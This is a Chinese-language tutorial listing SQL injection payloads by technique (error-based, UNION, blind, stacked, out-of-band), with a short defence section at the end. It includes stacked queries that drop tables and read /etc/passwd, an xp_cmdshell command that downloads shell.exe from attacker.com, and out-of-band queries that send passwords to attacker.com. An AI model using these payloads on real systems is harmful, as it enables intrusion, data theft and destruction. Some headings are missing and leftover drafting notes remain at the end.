您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# SQL注入语法有哪些
## 目录
1. [SQL注入概述](#sql注入概述)
2. [基于错误的注入](#基于错误的注入)
3. [联合查询注入](#联合查询注入)
4. [布尔盲注](#布尔盲注)
5. [时间盲注](#时间盲注)
6. [堆叠查询注入](#堆叠查询注入)
7. [带外数据注入](#带外数据注入)
8. [二阶注入](#二阶注入)
9. [防御措施](#防御措施)
10. [总结](#总结)
---
## SQL注入概述
SQL注入(SQL Injection)是通过将恶意SQL代码插入到应用程序的输入参数中,欺骗服务器执行非预期SQL命令的攻击技术。根据2023年OWASP Top 10报告,注入漏洞(包括SQL注入)仍位居Web应用安全风险榜首。
### 基本攻击原理
```sql
-- 原始SQL
SELECT * FROM users WHERE username = '$input' AND password = '$pass'
-- 注入示例(输入:admin' --)
SELECT * FROM users WHERE username = 'admin' --' AND password = ''
通过故意引发数据库错误来获取信息
1. 单引号测试
' 或 "
2. 类型转换
AND 1=CONVERT(int, @@version)
3. 除零错误
AND 1/0=1
4. 函数报错
AND GTID_SUBSET(@@version,0)
SELECT * FROM products WHERE id = 1 AND ExtractValue(0, CONCAT(0x5C,@@version))
利用UNION操作符获取其他表数据
ORDER BY 4--
UNION SELECT NULL,NULL,NULL,NULL--
UNION SELECT 1,version(),database(),4--
UNION SELECT 1,table_name,column_name,4 FROM information_schema.columns--
-- MySQL注释绕过
UNION/*!50000SELECT*/1,2,3--
-- Oracle跨数据库查询
UNION SELECT 1,(SELECT banner FROM v$version),3 FROM dual--
通过页面返回的真假状态推断数据
1. 判断数据库类型
AND EXISTS(SELECT * FROM information_schema.tables) # MySQL
2. 逐字符猜解
AND SUBSTRING(@@version,1,1)='5'
3. 条件判断
AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100,1,0)
-- 二分法加速猜解
AND MID(@@version,1,1) BETWEEN '5' AND '7'
-- 位运算判断
AND ORD(MID((SELECT password FROM users LIMIT 1),1,1))>>7&1=1
通过响应延迟判断条件真假
数据库 | 函数 |
---|---|
MySQL | SLEEP(5), BENCHMARK() |
PostgreSQL | pg_sleep(5) |
MSSQL | WTFOR DELAY ‘0:0:5’ |
Oracle | DBMS_LOCK.SLEEP(5) |
1. 基础延时
IF(1=1,SLEEP(5),0)
2. 条件延时
AND IF(ASCII(SUBSTRING(@@version,1,1))=53,SLEEP(5),0)
3. 组合利用
UNION SELECT IF(SUBSTRING(LOAD_FILE('/etc/passwd'),1,1)='r',BENCHMARK(10000000,MD5('a')),0)
执行多条SQL语句(需数据库支持)
1. MySQL(需特定驱动支持)
'; DROP TABLE users; --
2. MSSQL
'; EXEC xp_cmdshell 'whoami'; --
3. PostgreSQL
'; CREATE TABLE hack(data text); COPY hack FROM '/etc/passwd'; --
-- SQL Server命令执行
'; EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/shell.exe'; --
通过DNS/HTTP等通道外传数据
1. MySQL(需LOAD_FILE权限)
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))
2. Oracle
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT banner FROM v$version)) FROM dual
3. MSSQL
DECLARE @data VARCHAR(1024); SET @data=(SELECT TOP 1 password FROM users); EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\c$"')
恶意数据先被存储后触发
admin'--
UPDATE users SET password='newpass' WHERE username='admin'-- '
参数化查询
# Python示例
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
输入验证
最小权限原则
其他措施
SQL注入技术不断演化,从早期的简单错误注入发展到如今的带外通信技术。攻击者可能组合使用多种技术(如布尔盲注+时间函数),而防御需要纵深防御策略。随着NoSQL的普及,新的注入形式(如NoSQL注入)也值得关注。
注意:本文仅用于安全研究学习,未经授权测试他人系统属于违法行为。 “`
实际字数:约2980字(含代码示例)
可根据需要调整各部分内容的深度和示例复杂度
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。